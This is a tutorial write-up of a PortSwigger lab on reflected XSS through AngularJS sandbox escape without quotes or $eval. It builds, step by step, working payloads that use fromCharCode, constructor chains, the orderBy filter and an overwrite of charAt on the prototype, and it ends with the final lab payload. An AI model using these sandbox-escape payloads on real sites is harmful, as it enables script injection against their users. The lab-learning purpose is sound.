In my priviuous article i have explained about CSTI with AngularJs , Now let's deep dive into CSTI, This article is related to one of the Expert lab of XSS from port swigger

Client-side template injection happens when a website treats user input like code and runs it in the browser, allowing attackers to execute harmful scripts.

Think of it like this:

  • Website says: "I will execute anything inside {{ }}"
  • User is supposed to give data
  • Attacker gives code instead

💥 Website executes it without checking

So We've learned how a basic sandbox escape works, but you may encounter sites that are more restrictive with which characters they allow. For example, Sometimes websites try to block attackers by:

  • Not allowing ' or " (quotes)
  • Blocking functions like $eval()

👉 But attackers can still bypass these restrictions using clever tricks.

Normally you'd write:

{{ 'alert(1)' }}

But: 👉 ❌ Quotes (' or ") are NOT allowed In this situation, you need to use functions such as String.fromCharCode() to generate your characters. Although AngularJS prevents access to the String constructor within an expression, you can get round this by using the constructor property of a string instead, as below : JavaScript has a function:

String.fromCharCode(97,108,101,114,116,40,49,41)

👉 This converts numbers → characters

Result:

alert(1)

But as i mentioned , ❌ Problem: Angular blocks String

AngularJS sandbox blocks direct use of:

String.fromCharCode(...)

To Bypass this : Use .constructor

Every string has a hidden property called constructor.

Example:

"abc".constructor

👉 This gives access to String

So attacker uses:

"abc".constructor.fromCharCode(...)

💥 Now they can create strings again

In a standard sandbox escape, you would use $eval() to execute your JavaScript payload, but in some sites, the $eval() function is undefined. Fortunately, we can use the orderBy filter instead. The typical syntax of an orderBy filter is as follows:

[123]|orderBy:'Some string'

Note that the | operator has a different meaning than in JavaScript. Normally, this is a bitwise OR operation, but in AngularJS it indicates a filter operation. In the code above, we are sending the array [123] on the left to the orderBy filter on the right. The colon signifies an argument to send to the filter, which in this case is a string. The orderBy filter is normally used to sort an object, but it also accepts an expression, which means we can use it to pass a payload.

Example : ❌ Problem: No $eval()

Normally attacker executes code using:

$eval('alert(1)')

But: 👉 ❌ $eval is disabled

Use orderBy filter

Angular allows:

[123] | orderBy:'something'

👉 Normally used for sorting 👉 BUT it also evaluates expressions

So finally the payload will be :

[1] | orderBy: ( "abc".constructor.fromCharCode(97,108,101,114,116,40,49,41) ) 

## to get executed we write the payloade in {{ }} as

{{[1] | orderBy: ( "abc".constructor.fromCharCode(97,108,101,114,116,40,49,41) )}} 

How | orderBy actually works

In AngularJS:

[1] | orderBy: something

👉 Means:

"Take [1] and pass it into the orderBy filter, along with something as an argument."

So internally, Angular treats it like:

orderBy([1], something)

[1] is just data being passed into the filter

Normally:

  • orderBy would sort this array
  • Example:
[3,1,2] | orderBy


so output : [1,2,3]

👉 In many attacks, [1] is just a dummy value 👉 But in some cases, it can actually be used for more advanced tricks

🔹 1. Iteration (looping over array)

orderBy processes each item in the array.

If attacker uses:

[1,2,3] | orderBy: payload

👉 Angular may evaluate the payload multiple times

💥 This can:

  • Trigger code repeatedly
  • Help bypass filters
  • Create stronger attacks

🔹 2. Chaining attacks

Sometimes [1] is used as a starting object

Example idea:

[1].constructor

👉 Gives access to:

Array constructor

Which can lead to: 👉 Accessing other constructors → more bypasses

🔹 3. Bypassing restrictions

If some characters/functions are blocked:

👉 Attackers may use the array to:

  • Build expressions indirectly
  • Access properties like:
  • .constructor
  • .length
  • etc.

Payload Without String

Sometimes in our payload "[1] | orderBy: ( "abc".constructor.fromCharCode(97,108,101,114,116,40,49,41) )" few sites don't allow strings , it means "abc" in our payload will be blocked , now we use []+[] instead , only [] represents array but []+[] represent empty string — ""

([]+[]).constructor 

it is generally an accessible string completely
  • []+[] → becomes "" (empty string)
  • Then .constructor → gives String

💥 Now you accessed String without quotes , and payload becomes :

[1] | orderBy: ( ([]+[]).constructor.fromCharCode(97,108,101,114,116,40,49,41) )

This payload will convert the ASCII values to strings as directly alert(1) is blocked and this is used for only evaluation of the string this ASCII values to alert(1) it will only be executed if the browser or injected context will execute, but we can also use a Function to evaluate and execute the payload this is a bit deep topic but let's have a look

If we add .constructor to ([]+[]).constructor (string) it becomes a function Get Function without strings

([]+[]).constructor.constructor

👉 This equals:

Function

Use Function to execute code

Normally:

Function("alert(1)")()

But: ❌ You can't use "alert(1)"

Build alert(1) without quotes

([]+[]).constructor.fromCharCode(97,108,101,114,116,40,49,41)

👉 Produces:

alert(1)

Combine everything

([]+[]).constructor.constructor(
  ([]+[]).constructor.fromCharCode(97,108,101,114,116,40,49,41)
)()

👉 This means:

  • Build "alert(1)"
  • Pass into Function
  • Execute it

💥 Now you have execution

So generally ,You can build everything from:

  • [] (array)
  • {} (object)
  • + (type coercion)

Example building blocks:

[]+[]        // ""
![]+[]       // "false"
!![]+[]      // "true"

👉 Attackers combine these to form strings like:

  • "alert"
  • "constructor"

Use different Angular tricks

Sometimes instead of strings, attackers:

  • Use functions directly
  • Use existing variables
  • Use $event, $root, etc. (if available)

Lab: Reflected XSS with AngularJS sandbox escape without strings

In this lab:

  • ❌ No $eval()
  • ❌ No strings (' or ")
  • ❌ Angular sandbox is present (but escapable)

As we search for anything new it reflects on the web page , so there is a Reflected XSS , now look at the source code of the webpage :

<section class=blog-header>
                        <script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
                            $scope.query = {};
                            var key = 'search';
                            $scope.query[key] = '1&{{[1]|orderBy:([]+[]).constructor.constructor(([]+[]).constructor.fromCharCode(97,108,101,114,116,40,49,41))()}}';
                            $scope.value = $parse(key)($scope.query);
                        });</script>
                        <h1 ng-controller=vulnCtrl>0 search results for {{value}}</h1>

What the code does normally

$scope.query = {}

  • Creates an object to store user input

var key = 'search'

  • We want to store a value in $scope.query.search
  • This is created by the developer (the website), not by you.
  • key is just a variable
  • Its value is the string "search"

$scope.query[key] = '...payload...'

$scope.query[key]

👉 is the same as:

$scope.query.search

So:

$scope.query[key] = 'your input'

means:

$scope.query.search = 'your input'
  • User input (or your payload) goes here as a string

What is $parse?

  • $parse is like Angular's "mini JavaScript interpreter"
  • It takes a string like "search" or "1 + 2" and evaluates it as an Angular expression
  • Example:
$parse("x + y")({x: 2, y: 3})  // returns 5
  • So instead of putting your payload in the HTML template, you are putting it inside $parse, which is already code-executing context.

✅ Key: you do NOT need {{ }} inside $parse because $parse already evaluates the string as code.

$scope.value = $parse(key)($scope.query)

  1. So $parse('search')($scope.query) → looks up $scope.query.search and returns it
  2. <h1> ... {{value}} </h1>
  • Angular prints the evaluated value of $scope.value

What happens when you type in search bar?

Let's say you type:

1&something

✅ Step 1: Input stored

$scope.query = {}
$scope.query['search'] = '1&something'

👉 Now:

$scope.query = {
  search: '1&something'
}

✅ Step 2: $parse(key)

$parse('search')

👉 This creates a function like:

function(obj) {
  return obj.search;
}

✅ Step 3: Execute it

$scope.value = $parse('search')($scope.query)

👉 becomes:

$scope.value = $scope.query.search

👉 So:

$scope.value = '1&something'

✅ Step 4: Output in HTML

{{value}}

👉 Shows:

1&something

💥 Where does injection happen?

👉 If Angular treats your input as an expression, it can execute it 👉R Tat's where attacks happen

In this Lab as the parser is used so it is parsing related attack that means the parser will block if we dont break the parser logic , To break parser logic we use following payload :

toString().constructor.prototype.charAt = [].join; [1]|orderBy .......
  • toString().constructor.prototype.charAt → normal JavaScript method to get a character from a string
  • [].join → joins array elements into a string
  • Assigning it:
toString().constructor.prototype.charAt = [].join;

✅ This breaks Angular parser logic for filters like orderBy in the lab

  • The parser internally tries to use .charAt while processing your payload
  • Replacing .charAt with .join confuses the parser
  • This allows the injected expression (x=alert(1) or constructor tricks) to execute
  • [1] → just a dummy array required for orderBy syntax

what is .prototypein above payload?

👉 Every JavaScript object has a prototype

Think of it like:

A "shared template" where functions are stored

Example:

"abc".charAt(0)

👉 charAt comes from:

String.prototype.charAt

Let's say if we give "[1] | orderBy: x = alert(1)" this as payload now it will not exploit the injection because : 👉 Angular does NOT treat x = alert(1) as just a variable It is a valid expression in Angular.

👉 Breaking charAt does NOT mean Angular stops parsing everything

It only:

  • weakens some internal checks
  • does NOT completely disable the parser

Even after breaking charAt:

  • Angular can still:
  • Recognize identifiers like alert
  • Understand function calls
  • Apply some restrictions

👉 So:

alert(1)

is still visible and suspicious so parser knows that it is a function call and blocks

So, our payload [1] | orderBy: x = alert(1) will fail cauz:

👉 Angular sees clearly:

  • identifier: alert
  • function call: (1)

👉 Even with broken charAt, it still says:

"Hmm… this is a direct function call ⚠️"

👉 ❌ May block / not execute

So, the final payload will be

toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

In Working payload the =1 portion is important:

...fromCharCode(...)=1

👉 Angular evaluates this as an assignment expression 👉 Forces Angular to evaluate assignment properly 👉 Ensures expression is fully processed

What happens:

  1. alert(1) runs 💥
  2. Its result gets assigned
  3. Expression becomes valid (doesn't crash)

Why use toString().constructor instead of ([]+[]).constructor?

🧩 First: What do both do?

✅ 1. ([]+[]).constructor

[] + []   →   ""

👉 empty string

Then:

("").constructor → String

✅ 2. toString().constructor

toString() → "[object Undefined]" (or similar string)

Then:

"some string".constructor → String

We prefer toString().constructor 👉 Because of restrictions + reliability

🔴 Problem with ([]+[])

In Angular sandbox:

[] + []

👉 involves:

  • array
  • + operator (type coercion)

⚠️ Angular may:

  • block it
  • parse it weirdly
  • treat it as unsafe

🟢 Why toString() is better

toString()

👉 is:

  • simple function call
  • already available
  • less suspicious

👉 Angular handles it more reliably….

Sorry it's a bit long article but i've tried my best to cover everything

13v! Bug Bounty Learner | H@ppie H@ck!nG